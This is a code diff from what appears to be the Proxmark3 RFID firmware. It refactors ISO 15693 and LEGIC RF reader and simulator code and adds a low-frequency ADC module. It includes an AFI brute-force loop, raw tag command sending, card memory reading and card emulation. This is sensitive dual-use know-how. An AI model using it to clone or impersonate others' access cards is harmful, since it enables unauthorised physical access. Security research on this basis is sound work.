void SendRawCommand14443B(uint32_t, uint32_t, uint8_t, uint8_t[]);
void SendRawCommand14443B_Ex(PacketCommandNG *c);
// testfunctions
void WaitForFpgaDelayQueueIsEmpty(uint16_t delay);
void ClearFpgaShiftingRegisters(void);
@ -53,8 +51,4 @@ void ClearFpgaShiftingRegisters(void);
#define SIM_ACKNOWLEDGE 5
#define SIM_WORK 6
#ifdef __cplusplus
}
#endif
#endif /* __ISO14443B_H */

View file

@ -32,8 +32,8 @@
//
// VICC (tag) -> VCD (reader)
// Modulation:
// ASK / one subcarrier (423,75 khz)
// FSK / two subcarriers (423,75 khz && 484,28 khz)
// ASK / one subcarrier (423,75 kHz)
// FSK / two subcarriers (423,75 kHz && 484,28 kHz)
// Data Rates / Modes:
// low ASK: 6,62 kbit/s
// low FSK: 6.67 kbit/s
@ -58,12 +58,20 @@
// *) remove or refactor code under "depricated"
// *) document all the functions
#include "proxmark3.h"
#include "iso15693.h"
#include "proxmark3_arm.h"
#include "util.h"
#include "apps.h"
#include "string.h"
#include "iso15693tools.h"
#include "cmd.h"
#include "appmain.h"
#include "dbprint.h"
#include "fpgaloader.h"
#include "commonutil.h"
#include "ticks.h"
#include "BigBuf.h"
#include "crc16.h"
///////////////////////////////////////////////////////////////////////
// ISO 15693 Part 2 - Air Interface
@ -85,8 +93,6 @@
#define CheckCrc15(data, len) check_crc(CRC_15693, (data), (len))
#define AddCrc15(data, len) compute_crc(CRC_15693, (data), (len), (data)+(len), (data)+(len)+1)
#define sprintUID(target,uid) Iso15693sprintUID((target), (uid))
static void BuildIdentifyRequest(uint8_t *cmdout);
//static void BuildReadBlockRequest(uint8_t *cmdout, uint8_t *uid, uint8_t blockNumber );
static void BuildInventoryResponse(uint8_t *cmdout, uint8_t *uid);
@ -695,7 +701,7 @@ static void BuildInventoryResponse(uint8_t *cmdout, uint8_t *uid) {
// speed ... 0 low speed, 1 hi speed
// **recv will return you a pointer to the received data
// If you do not need the answer use NULL for *recv[]
// return: lenght of received data
// return: length of received data
// logging enabled
int SendDataTag(uint8_t *send, int sendlen, bool init, int speed, uint8_t *outdata) {
@ -758,7 +764,7 @@ void DbdecodeIso15693Answer(int len, uint8_t *d) {
strncat(status, "0F: no info", DBD15STATLEN - strlen(status));
break;
case 0x10:
strncat(status, "10: dont exist", DBD15STATLEN - strlen(status));
strncat(status, "10: don't exist", DBD15STATLEN - strlen(status));
break;
case 0x11:
strncat(status, "11: lock again", DBD15STATLEN - strlen(status));
@ -921,6 +927,7 @@ void BruteforceIso15693Afi(uint32_t speed) {
uint8_t buf[ISO15_MAX_FRAME];
memset(buf, 0x00, sizeof(buf));
int datalen = 0, recvlen = 0;
bool aborted = false;
Iso15693InitReader();
@ -929,16 +936,15 @@ void BruteforceIso15693Afi(uint32_t speed) {
data[0] = ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_INVENTORY | ISO15_REQINV_SLOT1;
data[1] = ISO15_CMD_INVENTORY;
data[2] = 0; // mask length
data[2] = 0; // AFI
AddCrc15(data, 3);
datalen += 2;
datalen = 5;
recvlen = SendDataTag(data, datalen, false, speed, buf);
WDT_HIT();
if (recvlen >= 12) {
Dbprintf("NoAFI UID = %s", sprintUID(NULL, buf + 2));
Dbprintf("NoAFI UID = %s", iso15693_sprintUID(NULL, buf + 2));
}
// now with AFI
@ -947,17 +953,21 @@ void BruteforceIso15693Afi(uint32_t speed) {
data[2] = 0; // AFI
data[3] = 0; // mask length
// 4 + 2crc
datalen = 6;
for (uint16_t i = 0; i < 256; i++) {
data[2] = i & 0xFF;
AddCrc15(data, 4);
datalen += 2;
recvlen = SendDataTag(data, datalen, false, speed, buf);
WDT_HIT();
if (recvlen >= 12) {
Dbprintf("AFI = %i UID = %s", i, sprintUID(NULL, buf + 2));
Dbprintf("AFI = %i UID = %s", i, iso15693_sprintUID(NULL, buf + 2));
}
if (BUTTON_PRESS()) {
aborted = BUTTON_PRESS();
if (aborted) {
DbpString("button pressed, aborting..");
break;
}
@ -965,6 +975,12 @@ void BruteforceIso15693Afi(uint32_t speed) {
DbpString("AFI Bruteforcing done.");
switch_off();
if (aborted) {
reply_ng(CMD_ACK, PM3_EOPABORTED, NULL, 0);
} else {
reply_ng(CMD_ACK, PM3_SUCCESS, NULL, 0);
}
}
// Allows to directly send commands to the tag via the client

26
armsrc/iso15693.h Normal file
View file

@ -0,0 +1,26 @@
//-----------------------------------------------------------------------------
// Jonathan Westhues, Aug 2005
// Gerhard de Koning Gans, April 2008, May 2011
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Definitions internal to the app source.
//-----------------------------------------------------------------------------
#ifndef __ISO15693_H
#define __ISO15693_H
#include "common.h"
#include "pm3_cmd.h" // struct
void RecordRawAdcSamplesIso15693(void);
void AcquireRawAdcSamplesIso15693(void);
void ReaderIso15693(uint32_t parameter); // Simulate an ISO15693 reader - greg
void SimTagIso15693(uint32_t parameter, uint8_t *uid); // simulate an ISO15693 tag - greg
void BruteforceIso15693Afi(uint32_t speed); // find an AFI of a tag - atrox
void DirectTag15693Command(uint32_t datalen, uint32_t speed, uint32_t recv, uint8_t *data); // send arbitrary commands from CLI - atrox
void Iso15693InitReader(void);
#endif

View file

@ -7,61 +7,61 @@
Linker script for the ARM binary
-----------------------------------------------------------------------------
*/
INCLUDE ../common/ldscript.common
INCLUDE ../common_arm/ldscript.common
PHDRS
{
text PT_LOAD FLAGS(5);
data PT_LOAD;
bss PT_LOAD;
text PT_LOAD FLAGS(5);
data PT_LOAD;
bss PT_LOAD;
}
ENTRY(Vector)
SECTIONS
{
.start : {
*(.startos)
} >osimage :text
.start : {
*(.startos)
} >osimage :text
.text : {
KEEP(*(stage1_image))
*(.text)
*(.text.*)
*(.eh_frame)
*(.glue_7)
*(.glue_7t)
} >osimage :text
.text : {
KEEP(*(stage1_image))
*(.text)
*(.text.*)
*(.eh_frame)
*(.glue_7)
*(.glue_7t)
} >osimage :text
.rodata : {
*(.rodata)
*(.rodata.*)
*(fpga_all_bit.data)
KEEP(*(.version_information))
. = ALIGN(8);
} >osimage :text
.rodata : {
*(.rodata)
*(.rodata.*)
*(fpga_all_bit.data)
KEEP(*(.version_information))
. = ALIGN(8);
} >osimage :text
.data : {
KEEP(*(compressed_data))
*(.data)
*(.data.*)
*(.ramfunc)
. = ALIGN(4);
} >ram AT>osimage :data
.data : {
KEEP(*(compressed_data))
*(.data)
*(.data.*)
*(.ramfunc)
. = ALIGN(4);
} >ram AT>osimage :data
__data_src_start__ = LOADADDR(.data);
__data_start__ = ADDR(.data);
__data_end__ = __data_start__ + SIZEOF(.data);
__os_size__ = SIZEOF(.text) + SIZEOF(.data) + SIZEOF(.rodata);
.bss : {
__bss_start__ = .;
*(.bss)
*(.bss.*)
. = ALIGN(4);
__bss_end__ = .;
} >ram AT>ram :bss
__data_src_start__ = LOADADDR(.data);
__data_start__ = ADDR(.data);
__data_end__ = __data_start__ + SIZEOF(.data);
__os_size__ = SIZEOF(.text) + SIZEOF(.data) + SIZEOF(.rodata);
.bss : {
__bss_start__ = .;
*(.bss)
*(.bss.*)
. = ALIGN(4);
__bss_end__ = .;
} >ram AT>ram :bss
.commonarea (NOLOAD) : {
*(.commonarea)
} >commonarea :NONE
.commonarea (NOLOAD) : {
*(.commonarea)
} >commonarea :NONE
}

View file

@ -11,11 +11,20 @@
//-----------------------------------------------------------------------------
#include "legicrf.h"
#include "ticks.h" /* timers */
#include "crc.h" /* legic crc-4 */
#include "legic_prng.h" /* legic PRNG impl */
#include "legic.h" /* legic_card_select_t struct */
#include "proxmark3_arm.h"
#include "cmd.h"
#include "BigBuf.h"
#include "fpgaloader.h"
#include "ticks.h"
#include "dbprint.h"
#include "util.h"
#include "string.h"
#include "protocols.h"
static uint8_t *legic_mem; /* card memory, used for read, write */
static legic_card_select_t card;/* metadata of currently selected card */
static crc_t legic_crc;
@ -395,6 +404,10 @@ bool write_byte(uint16_t index, uint8_t byte, uint8_t addr_sz) {
//
// Only this functions are public / called from appmain.c
//-----------------------------------------------------------------------------
legic_card_select_t* getLegicCardInfo(void) {
return &card;
}
void LegicRfInfo(void) {
// configure ARM and FPGA
init_reader(false);
@ -432,6 +445,44 @@ OUT:
StopTicks();
}
int LegicRfReaderEx(uint16_t offset, uint16_t len, uint8_t iv) {
int res = PM3_SUCCESS;
// configure ARM and FPGA
init_reader(false);
// establish shared secret and detect card type
uint8_t card_type = setup_phase(iv);
if (init_card(card_type, &card) != 0) {
res = PM3_ESOFT;
goto OUT;
}
// do not read beyond card memory
if (len + offset > card.cardsize) {
len = card.cardsize - offset;
}
for (uint16_t i = 0; i < len; ++i) {
int16_t byte = read_byte(offset + i, card.cmdsize);
if (byte == -1) {
res = PM3_EOVFLOW;
goto OUT;
}
legic_mem[i] = byte;
if (i < 4) {
card.uid[i] = byte;
}
}
OUT:
switch_off();
StopTicks();
return res;
}
void LegicRfReader(uint16_t offset, uint16_t len, uint8_t iv) {
// configure ARM and FPGA
init_reader(false);
@ -455,6 +506,10 @@ void LegicRfReader(uint16_t offset, uint16_t len, uint8_t iv) {
goto OUT;
}
legic_mem[i] = byte;
if (i < 4) {
card.uid[i] = byte;
}
}
// OK

View file

@ -1,6 +1,7 @@
//-----------------------------------------------------------------------------
// (c) 2009 Henryk Plötz <henryk@ploetzli.ch>
// 2018 AntiCat
// 2020 iceman
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
@ -12,10 +13,13 @@
#ifndef __LEGICRF_H
#define __LEGICRF_H
#include "proxmark3.h"
#include "common.h"
#include "legic.h" /* legic_card_select_t struct */
void LegicRfInfo(void);
int LegicRfReaderEx(uint16_t offset, uint16_t len, uint8_t iv);
void LegicRfReader(uint16_t offset, uint16_t len, uint8_t iv);
void LegicRfWriter(uint16_t offset, uint16_t len, uint8_t iv, uint8_t *data);
legic_card_select_t* getLegicCardInfo(void);
#endif /* __LEGICRF_H */

View file

@ -9,13 +9,20 @@
//-----------------------------------------------------------------------------
// LEGIC RF simulation code
//-----------------------------------------------------------------------------
#include "legicrfsim.h"
#include "legicrf.h"
#include "ticks.h" /* timers */
#include "crc.h" /* legic crc-4 */
#include "legic_prng.h" /* legic PRNG impl */
#include "legic.h" /* legic_card_select_t struct */
#include "proxmark3_arm.h"
#include "BigBuf.h"
#include "fpgaloader.h"
#include "ticks.h"
#include "dbprint.h"
#include "util.h"
static uint8_t *legic_mem; /* card memory, used for sim */
static legic_card_select_t card;/* metadata of currently selected card */
static crc_t legic_crc;
@ -453,12 +460,12 @@ void LegicRfSimulate(uint8_t cardtype) {
// verify command line input
if (init_card(cardtype, &card) != 0) {
DbpString("Unknown tagtype.");
DbpString("[!] Unknown tagtype.");
goto OUT;
}
LED_A_ON();
DbpString("Starting Legic emulator, press button to end");
DbpString("[=] Starting Legic emulator, press " _YELLOW_("button") "to end");
while (!BUTTON_PRESS() && !data_available()) {
WDT_HIT();
@ -479,7 +486,7 @@ void LegicRfSimulate(uint8_t cardtype) {
}
OUT:
DbpString("Stopped");
DbpString("[=] Sim stopped");
switch_off();
StopTicks();
}

View file

@ -12,8 +12,8 @@
#ifndef __LEGICRFSIM_H
#define __LEGICRFSIM_H
#include "proxmark3.h"
#include "common.h"
void LegicRfSimulate(uint8_t tagtype);
void LegicRfSimulate(uint8_t cardtype);
#endif /* __LEGICRFSIM_H */

319
armsrc/lfadc.c Normal file
View file

@ -0,0 +1,319 @@
//-----------------------------------------------------------------------------
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// LF ADC read/write implementation
//-----------------------------------------------------------------------------
#include "lfadc.h"
#include "lfsampling.h"
#include "fpgaloader.h"
#include "ticks.h"
#include "dbprint.h"
// Sam7s has several timers, we will use the source TIMER_CLOCK1 (aka AT91C_TC_CLKS_TIMER_DIV1_CLOCK)
// TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz
// Carrier periods (T0) have duration of 8 microseconds (us), which is 1/125000 per second
// T0 = TIMER_CLOCK1 / 125000 = 192
//#define T0 192
// Sam7s has three counters, we will use the first TIMER_COUNTER_0 (aka TC0)
// using TIMER_CLOCK3 (aka AT91C_TC_CLKS_TIMER_DIV3_CLOCK)
// as a counting signal. TIMER_CLOCK3 = MCK/32, MCK is running at 48 MHz, so the timer is running at 48/32 = 1500 kHz
// Carrier period (T0) have duration of 8 microseconds (us), which is 1/125000 per second (125 kHz frequency)
// T0 = timer/carrier = 1500kHz/125kHz = 1500000/125000 = 6
//#define HITAG_T0 3
//////////////////////////////////////////////////////////////////////////////
// Global variables
//////////////////////////////////////////////////////////////////////////////
bool rising_edge = false;
bool logging = true;
bool reader_mode = false;
//////////////////////////////////////////////////////////////////////////////
// Auxiliary functions
//////////////////////////////////////////////////////////////////////////////
bool lf_test_periods(size_t expected, size_t count) {
// Compute 10% deviation (integer operation, so rounded down)
size_t diviation = expected / 10;
return ((count > (expected - diviation)) && (count < (expected + diviation)));
}
//////////////////////////////////////////////////////////////////////////////
// Low frequency (LF) adc passthrough functionality
//////////////////////////////////////////////////////////////////////////////
uint8_t previous_adc_val = 0;
uint8_t adc_avg = 0;
void lf_sample_mean(void) {
uint8_t periods = 0;
uint32_t adc_sum = 0;
while (periods < 32) {
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
adc_sum += AT91C_BASE_SSC->SSC_RHR;
periods++;
}
}
// division by 32
adc_avg = adc_sum >> 5;
if (DBGLEVEL >= DBG_EXTENDED)
Dbprintf("LF ADC average %u", adc_avg);
}
size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) {
size_t periods = 0;
volatile uint8_t adc_val;
uint8_t avg_peak = adc_avg + 3, avg_through = adc_avg - 3;
// int16_t checked = 0;
while (!BUTTON_PRESS()) {
// only every 100th times, in order to save time when collecting samples.
/*
if (checked == 1000) {
if (data_available()) {
break;
} else {
checked = 0;
}
}
++checked;
*/
WDT_HIT();
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
adc_val = AT91C_BASE_SSC->SSC_RHR;
periods++;
if (logging) logSampleSimple(adc_val);
// Only test field changes if state of adc values matter
if (wait == false) {
// Test if we are locating a field modulation (100% ASK = complete field drop)
if (detect_gap) {
// Only return when the field completely dissapeared
if (adc_val == 0) {
return periods;
}
} else {
// Trigger on a modulation swap by observing an edge change
if (rising_edge) {
if ((previous_adc_val > avg_peak) && (adc_val <= previous_adc_val)) {
rising_edge = false;
return periods;
}
} else {
if ((previous_adc_val < avg_through) && (adc_val >= previous_adc_val)) {
rising_edge = true;
return periods;
}
}
}
}
previous_adc_val = adc_val;
if (periods >= max) return 0;
}
}
if (logging) logSampleSimple(0xFF);
return 0;
}
size_t lf_count_edge_periods(size_t max) {
return lf_count_edge_periods_ex(max, false, false);
}
size_t lf_detect_gap(size_t max) {
return lf_count_edge_periods_ex(max, false, true);
}
void lf_reset_counter() {
// TODO: find out the correct reset settings for tag and reader mode
// if (reader_mode) {
// Reset values for reader mode
rising_edge = false;
previous_adc_val = 0xFF;
// } else {
// Reset values for tag/transponder mode
// rising_edge = false;
// previous_adc_val = 0xFF;
// }
}
bool lf_get_tag_modulation() {
return (rising_edge == false);
}
bool lf_get_reader_modulation() {
return rising_edge;
}
void lf_wait_periods(size_t periods) {
lf_count_edge_periods_ex(periods, true, false);
}
void lf_init(bool reader, bool simulate) {
StopTicks();
reader_mode = reader;
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
sample_config *sc = getSamplingConfig();
sc->decimation = 1;
sc->averaging = 0;
FpgaSendCommand(FPGA_CMD_SET_DIVISOR, sc->divisor);
if (reader) {
FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD);
} else {
if (simulate)
// FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT);
FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC);
else
// Sniff
FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_TOGGLE_MODE);
}
// Connect the A/D to the peak-detected low-frequency path.
SetAdcMuxFor(GPIO_MUXSEL_LOPKD);
// Now set up the SSC to get the ADC samples that are now streaming at us.
FpgaSetupSsc();
// When in reader mode, give the field a bit of time to settle.
// 313T0 = 313 * 8us = 2504us = 2.5ms Hitag2 tags needs to be fully powered.
if (reader) {
// 10 ms
SpinDelay(10);
}
// Steal this pin from the SSP (SPI communication channel with fpga) and use it to control the modulation
AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT;
AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT;
LOW(GPIO_SSC_DOUT);
// Enable peripheral Clock for TIMER_CLOCK 0
AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC0);
AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS;
AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV4_CLOCK;
// Enable peripheral Clock for TIMER_CLOCK 1
AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1);
AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS;
AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV4_CLOCK;
// Clear all leds
LEDsoff();
// Reset and enable timers
AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG;
AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG;
// Prepare data trace
uint32_t bufsize = 10000;
// use malloc
if (logging) initSampleBufferEx(&bufsize, true);
lf_sample_mean();
}
void lf_finalize() {
// Disable timers
AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS;
AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS;
// return stolen pin to SSP
AT91C_BASE_PIOA->PIO_PDR = GPIO_SSC_DOUT;
AT91C_BASE_PIOA->PIO_ASR = GPIO_SSC_DIN | GPIO_SSC_DOUT;
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
StartTicks();
}
size_t lf_detect_field_drop(size_t max) {
size_t periods = 0;
// int16_t checked = 0;
while (!BUTTON_PRESS()) {
/*
// only every 1000th times, in order to save time when collecting samples.
if (checked == 1000) {
if (data_available()) {
checked = -1;
break;
} else {
checked = 0;
}
}
++checked;
*/
WDT_HIT();
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
periods++;
volatile uint8_t adc_val = AT91C_BASE_SSC->SSC_RHR;
if (logging) logSampleSimple(adc_val);
if (adc_val == 0) {
rising_edge = false;
return periods;
}
if (periods == max) return 0;
}
}
return 0;
}
void lf_modulation(bool modulation) {
if (modulation) {
HIGH(GPIO_SSC_DOUT);
} else {
LOW(GPIO_SSC_DOUT);
}
}
// simulation
static void lf_manchester_send_bit(uint8_t bit) {
lf_modulation(bit != 0);
lf_wait_periods(16);
lf_modulation(bit == 0);
lf_wait_periods(32);
}
// simulation
bool lf_manchester_send_bytes(const uint8_t *frame, size_t frame_len) {
LED_B_ON();
lf_manchester_send_bit(1);
lf_manchester_send_bit(1);
lf_manchester_send_bit(1);
lf_manchester_send_bit(1);
lf_manchester_send_bit(1);
// Send the content of the frame
for (size_t i = 0; i < frame_len; i++) {
lf_manchester_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1);
}
LED_B_OFF();
return true;
}

37
armsrc/lfadc.h Normal file
View file

@ -0,0 +1,37 @@
//-----------------------------------------------------------------------------
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// LF ADC read/write implementation
//-----------------------------------------------------------------------------
#ifndef __LFADC_H__
#define __LFADC_H__
#include "proxmark3_arm.h"
#include "common.h"
#include "cmd.h"
#include "util.h"
#include "string.h"
extern bool logging;
void lf_sample_mean(void);
bool lf_test_periods(size_t expected, size_t count);
size_t lf_count_edge_periods(size_t max);
size_t lf_detect_gap(size_t max);
void lf_reset_counter();
bool lf_get_tag_modulation();
bool lf_get_reader_modulation();
void lf_wait_periods(size_t periods);
//void lf_init(bool reader);
void lf_init(bool reader, bool simulate);
void lf_finalize();
size_t lf_detect_field_drop(size_t max);
bool lf_manchester_send_bytes(const uint8_t *frame, size_t frame_len);
void lf_modulation(bool modulation);
#endif // __LFADC_H__

File diff suppressed because it is too large Load diff

Some files were not shown because too many files have changed in this diff Show more